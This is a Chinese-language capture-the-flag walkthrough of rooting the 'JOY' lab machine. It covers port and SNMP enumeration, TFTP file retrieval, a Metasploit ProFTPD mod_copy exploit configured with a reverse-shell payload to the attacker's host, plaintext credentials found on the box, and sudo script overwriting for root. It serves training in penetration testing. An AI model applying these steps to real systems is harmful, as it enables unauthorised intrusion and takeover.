# 靶场搭建
下载后导入虚拟机,直接启动
IP: 192.168.1.135
# 渗透过程
# 信息初收集
21/tcp open ftp | |
22/tcp open ssh | |
25/tcp open smtp | |
80/tcp open http | |
110/tcp open pop3 | |
139/tcp open netbios-ssn | |
143/tcp open imap | |
445/tcp open microsoft-ds | |
465/tcp open smtps | |
587/tcp open submission | |
993/tcp open imaps | |
995/tcp open pop3s |
21/tcp open ftp ProFTPD 1.2.10
22/tcp open ssh Dropbear sshd 0.34 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
465/tcp open smtp Postfix smtpd
587/tcp open smtp Postfix smtpd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
drwxr-x--- 5 ftp ftp 4096 May 4 06:28 .
drwxr-x--- 5 ftp ftp 4096 May 4 06:28 ..
drwxr-xr-x 3 ftp ftp 4096 May 4 06:28 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
drwxrwxr-x 2 ftp ftp 4096 Jan 6 2019 download
drwxrwxr-x 2 ftp ftp 4096 Jan 10 2019 upload
S-1-22-1-1000 Unix User\patrick (Local User)
S-1-22-1-1001 Unix User\ftp (Local User)
没有发现什么有用的东西,各服务漏洞攻击也不符合版本。
看到有一个 directory
文件像是 patrick 用户的 home,但是里面的文件也读不到啊 ==、
# UDP 扫描 + SNMP
思路卡住了,尝试查看 UDP 的服务,全端口扫描可以说是不可能的了,只好按照常用端口扫一下: nmap 192.168.1.135 -sU -p- -T4 --top-ports 50
发现开启了 161 端口的 snmp。尝试使用 snmp-check
收集相关信息: snmp-check 192.168.1.135
snmap 的作用:
监控设备状态:通过查询代理,管理器可以获取设备的各种状态信息,如 CPU 利用率、内存使用情况、网络流量等,从而进行实时监控和分析。
配置管理:管理器可以通过 SNMP 设置请求来修改设备的配置,例如改变路由表、启用 / 禁用端口等。
告警和通知:代理可以定期向管理器发送设备状态的通知或告警,帮助管理员及时发现并解决网络问题。
远程诊断:管理器可以远程执行诊断命令或操作,以解决网络设备的故障或配置问题。
发现了在 patrick 用户的家目录下,启动了 tftp 的服务。
┌──(root㉿kali)-[~] | |
└─# snmp-check 192.168.1.135 | grep "ftp" | |
777 runnable in.tftpd /usr/sbin/in.tftpd --listen --user tftp --address 0.0.0.0:36969 --secure /home/patrick |
那么我们把那个 version_control 下载下来康康
┌──(root㉿kali)-[~] | |
└─# tftp 192.168.1.135 36969 | |
tftp> get version_control | |
tftp> quit |
找到了 FTP 的版本信息和可写的的路径
┌──(root㉿kali)-[~] | |
└─# cat version_control | |
Version Control of External-Facing Services: | |
Apache: 2.4.25 | |
Dropbear SSH: 0.34 | |
ProFTPd: 1.3.5 | |
Samba: 4.5.12 | |
We should switch to OpenSSH and upgrade ProFTPd. | |
Note that we have some other configurations in this machine. | |
1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. | |
2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out. |
MSF 启动!
# 漏洞利用
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options | |
Module options (exploit/unix/ftp/proftpd_modcopy_exec): | |
Name Current Setting Required Description | |
---- --------------- -------- ----------- | |
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | |
RHOSTS 192.168.1.135 yes The target host(s), see https://docs.metasploit.com/docs/using-meta | |
sploit/basics/using-metasploit.html | |
RPORT 80 yes HTTP port (TCP) | |
RPORT_FTP 21 yes FTP port | |
SITEPATH /var/www/tryingharderisjoy yes Absolute writable website path | |
SSL false no Negotiate SSL/TLS for outgoing connections | |
TARGETURI / yes Base path to the website | |
TMPPATH /tmp yes Absolute writable path | |
VHOST no HTTP server virtual host | |
Payload options (cmd/unix/reverse_awk): | |
Name Current Setting Required Description | |
---- --------------- -------- ----------- | |
LHOST 192.168.1.129 yes The listen address (an interface may be specified) | |
LPORT 4444 yes The listen port | |
Exploit target: | |
Id Name | |
-- ---- | |
0 ProFTPD 1.3.5 | |
View the full module info with the info, or info -d command. |
run 起来拿到反弹 shell
# 提权
系统信息:
Distributor ID: Debian | |
Description: Debian GNU/Linux 9.6 (stretch) | |
Release: 9.6 | |
Codename: stretch |
搜了一下提权模块无果
查看目录中心信息,在 /var/www/tryingharderisjoy/ossec/patricksecretsofjoy
文件中找到了 patrick 用户的密码: patrick:apollo098765
和 root 的: root:howtheheckdoiknowwhattherootpasswordis
root 的密码是错的,ssh 需要配置一下加密算法懒得配置,所以通过这个小 shellsu 到 patrick 账号。但是之前设置的 payloadp 是通过 awk 反弹 shell,提升交互有问题,所以重新设置了 payload 为 python 的方式反弹。提升交互式 shell 然后 su 到 patrick 账号中。
sudo -l 查看到 sudo 权限
User patrick may run the following commands on JOY: | |
(ALL) NOPASSWD: /home/patrick/script/test |
执行以下这个脚本发现,这个脚本可以修改 script 文件夹下任意文件的权限
在他询问修改那个文件的时候直接回车,它会修改目录的权限,直接改成 777
然后再修改这个 test 文件。
echo '#!/bin/bash' > ~/script/test | |
echo 'bash -ip' >> ~/script/test | |
sudo /home/patrick/script/test |
root 权限到手!